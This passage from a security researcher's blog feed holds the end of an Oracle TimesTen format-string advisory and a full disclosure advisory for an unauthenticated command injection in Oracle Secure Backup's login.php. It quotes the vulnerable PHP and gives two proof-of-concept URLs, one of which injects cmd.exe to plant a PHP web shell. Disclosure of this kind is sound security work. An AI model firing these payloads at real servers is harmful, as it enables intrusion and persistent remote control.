<div class="de1">.text:0001ADD4                 push    edi             ; maxlen</div>
</li>
<li class="li1">
<div class="de1">.text:0001ADD5                 push    eax             ; s</div>
</li>
<li class="li1">
<div class="de1">.text:0001ADD6                 call    _vsnprintf</div>
</li>
</ol>
</div>
<p><strong>Workaround</strong></p>
<p>None.</p>
<p><strong>Patch information</strong></p>
<p>Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.</p>
<p><strong>Contact Information</strong></p>
<p>The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com</p>
<p><strong>References</strong></p>
<p><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-004/" target="_blank">Oracle TimesTen evtDump Remote Format String</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5440" target="_blank">CVE-2008-5440</a></p>
<p><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank">Oracle Critical Patch Update January 2009</a></p>
<p><a href="http://www.joxeankoret.com" target="_blank">Professional Web</a></p>
<p><strong>Disclaimer</strong></p>
<p>The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind.</p>
<p>I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle Secure Backup 10g Remote Code Execution</title>
		<link>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/</link>
		<comments>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 08:35:03 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[advisories]]></category>
		<category><![CDATA[Design Flaws]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=39</guid>
		<description><![CDATA[Product Description Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database. Summary The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Product Description<br />
</strong></p>
<p>Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database.</p>
<p><strong>Summary</strong></p>
<p>The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server of Oracle Secure Backup.</p>
<p>In Windows environments, the vulnerability allows execution of arbitrary code as SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user (oracle usually).</p>
<p><strong>CVSS2 Risk Score<br />
</strong></p>
<p>Microsoft Windows: 10<br />
Linux and Unix   :  7,5</p>
<p><strong>Affected versions<br />
</strong></p>
<p>Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems are affected.</p>
<p><strong>Vulnerability Details</strong></p>
<p>Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a variable poisoning attack regardless if the PHP directive register_globals is enabled or not.</p>
<p>Internally, all the variables passed to the script login.php are converted to global variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the method used to send the query will be registered as a global variable.</p>
<p>From the login script called "login.php" the tool "obt.exe" is executed with a popen call passing arguments received from the client. These arguments are not sanitized nor verified and it allows post-authentication remote command execution BUT due to a logic failure in the script "login.php" when the variable "clear" has the value "no" and other variables (that supposedly comes from a cookie) are set anyone can execute</p>
<p>operating system command from remote without being authenticated. The vulnerable code is the following:</p>
<div class="geshi no php">
<div class="head">if (strlen($ora_osb_bgcookie) &gt; 0 &amp;&amp; $button == "Logout")</div>
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// Turn DEBUG_EXEC to off</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$tmp</span> <span class="sy0">=</span> <span class="re1">$DEBUG_EXEC</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$DEBUG_EXEC</span> <span class="sy0">=</span> <span class="st0">&quot;no&quot;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// Teminate the connection.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$qr_command</span> <span class="sy0">=</span> <span class="st0">&quot;$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie&quot;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$msg</span> <span class="sy0">=</span> exec_qr<span class="br0">&#40;</span><span class="st0">&quot;$qr_command&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw3">strncmp</span><span class="br0">&#40;</span><span class="re1">$msg</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">,</span> <span class="st0">&quot;Error:&quot;</span><span class="sy0">,</span> <span class="nu0">6</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// Set the cookie up.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">setcookie</span><span class="br0">&#40;</span><span class="st0">&quot;ora_osb_bgcookie&quot;</span><span class="sy0">,</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">setcookie</span><span class="br0">&#40;</span><span class="st0">&quot;ora_osb_lcookie&quot;</span><span class="sy0">,</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$ora_osb_bgcookie</span> <span class="sy0">=</span> <span class="st0">&quot;&quot;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// Reset DEBUG_EXEC.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$DEBUG_EXEC</span> <span class="sy0">=</span> <span class="re1">$dtmp</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">header</span><span class="br0">&#40;</span><span class="st0">&quot;Location: /login.php?clear=yes&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>The function "exec_qr" internally calls the function PHP function "popen" to execute a command. The $rbtool variable, abusing from the variable poisoning attack, can be changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the need for a user name or password, just with network access to the Oracle Secure Backup Web server. In fact, the script thinks that we're doing a logout.</p>
<p><strong>Proof of Concept</strong></p>
<p>* Create a file in the directory "c:\"</p>
<p>https://&lt;target&gt;/login.php?clear=no&#038;ora_osb_lcookie=aa&#038;ora_osb_bgcookie=bb&#038;button=Logout&#038;rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;</p>
<p>* Create a PHP backdoor</p>
<p>https://&lt;target&gt;/login.php?clear=no&#038;ora_osb_lcookie=aa&#038;ora_osb_bgcookie=bb&#038;button=Logout&#038;rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B'a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo</p>
<p><strong>Workaround</strong></p>
<p>Disable the web server.</p>
<p><strong>Patch information</strong></p>
<p>Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.</p>
<p><strong>Contact Information</strong></p>
<p>The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com</p>
<p><strong>References</strong></p>
<p><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-003/" target="_self">Oracle Secure Backup exec_qr() Command Injection Vulnerability</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5448" target="_blank">CVE-2008-5448</a></p>
<p><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank">Oracle Critical Patch Update January 2009</a></p>
<p><a href="http://www.joxeankoret.com" target="_blank">Professional Web</a></p>
<p><strong>Disclaimer</strong></p>
<p>The information in this advisory and any of its demonstrations is provided "as is"<br />
without any warranty of any kind.</p>
<p>I am not liable for any direct or indirect damages caused as a result of using the<br />
information or demonstrations provided in any part of this advisory.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

